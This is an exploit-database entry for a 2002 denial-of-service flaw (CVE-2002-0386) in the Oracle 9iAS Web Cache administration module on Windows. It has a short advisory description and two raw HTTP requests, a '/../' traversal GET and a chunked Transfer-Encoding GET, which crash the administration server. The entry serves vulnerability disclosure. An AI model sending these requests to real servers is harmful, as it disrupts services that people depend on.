Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service

Author: @stake
type: dos
platform: multiple
port: 
date_added: 2002-10-06  
date_updated: 2012-10-11  
verified: 1  
codes: CVE-2002-0386;OSVDB-9464  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21911.txt  

source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>